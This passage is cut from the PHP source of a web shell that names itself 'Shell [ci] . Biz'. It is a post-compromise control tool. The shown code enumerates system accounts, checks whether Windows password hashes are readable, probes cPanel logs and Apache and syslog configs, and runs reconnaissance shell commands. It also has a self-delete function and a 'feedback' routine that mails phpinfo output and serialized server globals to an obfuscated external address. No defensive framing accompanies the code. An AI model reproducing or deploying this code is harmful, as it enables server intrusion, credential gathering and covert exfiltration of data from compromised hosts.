(!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "From: To: "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid).""; } $i++; } } else {echo "Get /etc/passwd";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";} else {echo "You can crack winnt passwords. Download, and use lcp.crack+ ©.";} } if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)";} if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)";} if (file_get_contents("/etc/motd")) {echo "Message Of The Day";} if (file_get_contents("/etc/hosts")) {echo "Hosts";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."";}} displaysecinfo("OS Version?",myshellexec("cat /proc/version")); displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); displaysecinfo("Is cURL installed?",myshellexec("which curl")); displaysecinfo("Is lynx installed?",myshellexec("which lynx")); displaysecinfo("Is links installed?",myshellexec("which links")); displaysecinfo("Is fetch installed?",myshellexec("which fetch")); displaysecinfo("Is GET installed?",myshellexec("which GET")); displaysecinfo("Is perl installed?",myshellexec("which perl")); displaysecinfo("Where is apache",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("locate my.conf",myshellexec("locate my.conf")); displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));}if ($act == "mkfile"){ if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";}}if ($act == "encoder"){ echo "function set_encoder_input(text) {document.forms.encoder.input.value = text;}Encoder:Input:".@htmlspecialchars($encoder_input)."Hashes:"; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." - "; } echo "Url:urlencode - urldecode - Base64:base64_encode - "; echo "base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo "";} else {$rows++; echo "".$debase64."";} echo " ^"; } echo "Base convertations:dec2hex - ";}if ($act == "fsbuff"){ $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "Buffer is empty!";} else {echo "File-System buffer"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}}if ($act == "selfremove"){ if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using Shell [ci] . Biz".$shver."!"; k1r4exit(); } else {echo "Can't delete ".__FILE__."!";} } else { if (!empty($rndcode)) {echo "Error: incorrect confimation!";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "Self-remove: ".__FILE__." Are you sure?For confirmation, enter \"".$rnd."\": "; }}if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) {echo "";}}if ($act == "feedback"){ $suppmail = base64_decode("c2hlbGw0c3BhbUBnbWFpbC5jb20="); if (!empty($submit)) { $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = "Shell [ci] . Biz".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,"Shell [ci] . Biz".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "Thanks for your feedback! Your ticket ID: ".$ticket."."; } else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)."Attach server-info * There are no checking in the form.* - strongly recommended, if you report bug, because we need it for bug-fix.We understand languages: